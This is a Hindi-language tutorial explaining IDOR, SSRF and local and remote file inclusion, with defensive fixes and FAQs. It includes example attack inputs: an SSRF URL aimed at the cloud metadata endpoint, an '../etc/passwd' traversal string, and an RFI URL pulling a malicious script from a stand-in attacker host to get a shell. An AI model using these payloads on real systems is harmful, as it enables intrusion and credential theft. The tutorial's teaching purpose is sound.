Web Security Testing: SSRF, IDOR और File Inclusion Vulnerabilities को आसान उदाहरणों से समझें

एथिकल हैकिंग और वेब एप्लिकेशन सिक्योरिटी की दुनिया में कदम रखते ही हमें कई ऐसे तकनीकी शब्द (Technical Terms) सुनने को मिलते हैं जो शुरुआत में काफी जटिल लगते हैं। जब आप OWASP Top 10 (वेबसाइटों की सबसे बड़ी सुरक्षा कमियों की सूची) को देखते हैं, तो वहां SSRF, IDOR और File Inclusion जैसे नाम बार-बार सामने आते हैं।

यदि आप बग बाउंटी (Bug Bounty) शुरू करना चाहते हैं या साइबर सुरक्षा में अपना करियर बनाना चाहते हैं, तो इन कमियों को केवल रटना काफी नहीं है, बल्कि यह समझना जरूरी है कि ये बैकएंड (Backend) में कैसे काम करती हैं। इस लेख में, हम वेब सुरक्षा के इन तीन सबसे महत्वपूर्ण और अक्सर पूछे जाने वाले कांसेप्ट्स को बहुत ही सरल भाषा और प्रैक्टिकल उदाहरणों के साथ समझेंगे।

1. IDOR (Insecure Direct Object Reference)

IDOR वेब सिक्योरिटी की एक बेहद आम लेकिन बेहद खतरनाक कमजोरी है। सरल शब्दों में कहें तो, जब कोई वेबसाइट उपयोगकर्ता द्वारा दिए गए इनपुट के आधार पर सीधे डेटाबेस के किसी ऑब्जेक्ट (जैसे यूजर प्रोफाइल, इनवॉइस या फाइल) को एक्सेस करने की अनुमति दे देती है, बिना यह जांचे कि क्या उस उपयोगकर्ता को उसे देखने का अधिकार है या नहीं, तो उसे IDOR कहा जाता है।

इसे एक आसान उदाहरण से समझें:

मान लीजिए आप किसी ई-कॉमर्स वेबसाइट पर लॉगइन करते हैं और अपने प्रोफाइल पेज पर जाते हैं। आपके ब्राउज़र के एड्रेस बार में यूआरएल कुछ ऐसा दिखाई देता है:

https://example.com/profile?user_id=4502

अब, आप केवल उत्सुकतावश यूआरएल में 4502 को बदलकर 4503 कर देते हैं। अगर वेबसाइट का सिस्टम कमजोर है (यानी उसमें उचित ऑथराइजेशन चेक नहीं है), तो आपके सामने यूजर आईडी 4503 वाले किसी दूसरे अज्ञात व्यक्ति का पूरा प्रोफाइल पेज (उसका नाम, पता, फोन नंबर) खुल जाएगा।

यह खतरा क्यों है? क्योंकि हैकर्स एक ऑटोमेटेड स्क्रिप्ट चलाकर 1 से लेकर 100000 तक की सभी यूजर आईडी का डेटा एक ही बार में चुरा सकते हैं। इसे रोकने के लिए डेवलपर्स को हर रिक्वेस्ट पर यह जांचना जरूरी होता है कि लॉग-इन यूजर वाकई उस डेटा का मालिक है या नहीं।

2. SSRF (Server-Side Request Forgery)

SSRF एक ऐसी एडवांस कमजोरी है जिसमें हमलावर (Attacker) वेबसाइट के मुख्य सर्वर को मजबूर करता है कि वह उसकी तरफ से किसी अन्य आंतरिक (Internal) या बाहरी सर्वर को रिक्वेस्ट भेजे। सीधे शब्दों में कहें तो, यहाँ हैकर खुद सीधे किसी सिस्टम पर हमला नहीं करता, बल्कि वेबसाइट के भरोसेमंद सर्वर को एक 'कठपुतली' की तरह इस्तेमाल करता है।

इसे एक आसान उदाहरण से समझें:

मान लीजिए एक वेबसाइट पर एक फीचर है जहाँ आप किसी इमेज का यूआरएल डालते हैं, और वेबसाइट का सर्वर उस इमेज को डाउनलोड करके आपको दिखाता है। इनपुट बॉक्स कुछ ऐसा है:

[इमेज का यूआरएल डालें] -> [Submit]

आमतौर पर लोग यहाँ किसी फोटो का लिंक डालते हैं जैसे https://site.com/photo.jpg। लेकिन एक हैकर इस इनपुट बॉक्स में सर्वर के खुद के लोकल एड्रेस (Localhost) का लिंक डाल देता है, जैसे:

http://127.0.0.1:8080/admin/dashboard या क्लाउड सर्वर का मेटाडेटा लिंक http://169.254.169.254/latest/meta-data/

चूंकि यह रिक्वेस्ट बाहरी दुनिया से नहीं बल्कि खुद सर्वर के अंदर से आ रही है, इसलिए आंतरिक सुरक्षा प्रणाली (Firewall) इसे सुरक्षित मान लेती है। सर्वर उस संवेदनशील एडमिन पेज या क्लाउड क्रेडेंशियल्स को फेच (Fetch) करके हैकर की स्क्रीन पर दिखा देता है।

यह खतरा क्यों है? इसके जरिए हैकर्स उन डेटाबेस और इंटरनल सर्विसेज तक पहुँच सकते हैं जो इंटरनेट पर सीधे तौर पर उपलब्ध नहीं होती हैं।

3. File Inclusion Vulnerabilities (LFI और RFI)

वेबसाइटें अक्सर डायनामिक कंटेंट लोड करने के लिए फाइलों को शामिल (Include) करती हैं। लेकिन जब डेवलपर यूजर के इनपुट को बिना फिल्टर किए सीधे फाइल पाथ (File Path) में इस्तेमाल कर लेता है, तो जन्म होता है File Inclusion कमजोरी का। यह मुख्य रूप से दो प्रकार की होती है:

A. LFI (Local File Inclusion)

LFI में हमलावर सर्वर पर पहले से मौजूद संवेदनशील फाइलों को पढ़ने में कामयाब हो जाता है।

उदाहरण: मान लीजिए एक वेबसाइट पर भाषा बदलने का विकल्प है, और यूआरएल कुछ ऐसा है:
https://example.com/index.php?page=english.php

एक हैकर इस इनपुट को बदलकर डायरेक्टरी ट्रैवर्सल (Directory Traversal) तकनीक का उपयोग करता है और लिखता है:
https://example.com/index.php?page=../../../../etc/passwd

यहाँ ../ का मतलब होता है 'एक फोल्डर पीछे जाना'। सर्वर इस कमांड को मान लेता है और लिनक्स सिस्टम की सबसे संवेदनशील फाइल (passwd) जिसमें सभी यूजर अकाउंट की जानकारी होती है, उसे स्क्रीन पर प्रिंट कर देता है।

B. RFI (Remote File Inclusion)

RFI इससे भी अधिक खतरनाक है। इसमें हैकर सर्वर को मजबूर करता है कि वह किसी बाहरी (External) सर्वर से कोई हानिकारक कोड या स्क्रिप्ट डाउनलोड करके अपने सिस्टम पर चला दे।

उदाहरण: हैकर यूआरएल को इस तरह बदल देता है:
https://example.com/index.php?page=http://hackersite.com/malicious_script.txt

सर्वर उस बाहरी वेबसाइट से स्क्रिप्ट डाउनलोड करेगा और उसे अपने सर्वर पर रन कर देगा, जिससे हैकर को पूरे सर्वर का कंट्रोल (Reverse Shell) मिल सकता है।

सुरक्षा गाइड: इन कमजोरियों को कैसे ठीक करें?

अगर आप एक डेवलपर हैं या सुरक्षा विश्लेषक हैं, तो इन कमजोरियों से बचने के लिए निम्नलिखित बेस्ट प्रैक्टिसेज का पालन करें:

• इनपुट वैलिडेशन (Input Validation): कभी भी यूजर द्वारा दिए गए इनपुट पर आंख मूंदकर भरोसा न करें। केवल अनुमति प्राप्त कैरेक्टर्स (Whitelist) को ही स्वीकार करें।
• अप्रत्यक्ष संदर्भ (Indirect References): डेटाबेस आईडी (जैसे id=4502) को सीधे यूआरएल में दिखाने के बजाय रैंडम UUIDs या टोकन का उपयोग करें।
• सख्त फायरवॉल नियम (Egress Filtering): सर्वर को केवल उन्हीं बाहरी आईपी एड्रेस या पोर्ट्स से कनेक्ट करने की अनुमति दें जो आवश्यक हैं, ताकि SSRF के खतरे को कम किया जा सके।
• फाइल इनक्लूजन से बचाव: PHP जैसी भाषाओं में allow_url_include को हमेशा 'Off' रखें ताकि कोई बाहरी स्क्रिप्ट सर्वर पर न चल सके।

अक्सर पूछे जाने वाले सवाल (FAQs)

Q1. IDOR और Privilege Escalation में क्या अंतर है?

IDOR एक प्रकार की कमजोरी है जहाँ आप सीधे किसी ऑब्जेक्ट की आईडी बदलकर अनधिकृत डेटा देखते हैं। जबकि Privilege Escalation एक व्यापक टर्म है, जिसमें एक सामान्य यूजर खुद को एडमिनिस्ट्रेटर (उच्च अधिकार वाले यूजर) में बदल लेता है। IDOR का उपयोग अक्सर हॉरिजॉन्टल प्रिविलेज एस्केलेशन के लिए किया जाता है।

Q2. क्या SSRF केवल क्लाउड सर्वर्स (AWS, Azure) पर ही खतरनाक होता है?

नहीं, SSRF किसी भी नेटवर्क पर खतरनाक हो सकता है। हालांकि, क्लाउड सर्वर्स पर यह इसलिए अधिक घातक हो जाता है क्योंकि वहां मेटाडेटा सर्विसेज (जैसे AWS 169.254.169.254) आसानी से उपलब्ध होती हैं, जिससे हैकर सीधे क्लाउड एक्सेस कीज (Access Keys) चुरा सकते हैं।

Q3. क्या आधुनिक वेब फ्रेमवर्क्स में LFI/RFI की समस्या खुद-ब-खुद ठीक हो जाती है?

हाँ, आधुनिक फ्रेमवर्क्स जैसे React, Angular, Django या Laravel में इनबिल्ट टेम्पलेट इंजन और रूटिंग सिस्टम होते हैं जो पारंपरिक PHP की तरह सीधे फाइल इनक्लूजन की अनुमति नहीं देते। लेकिन कस्टम कोडिंग या असुरक्षित थर्ड-पार्टी प्लगइन्स के कारण यह कमजोरी आज भी पैदा हो सकती है।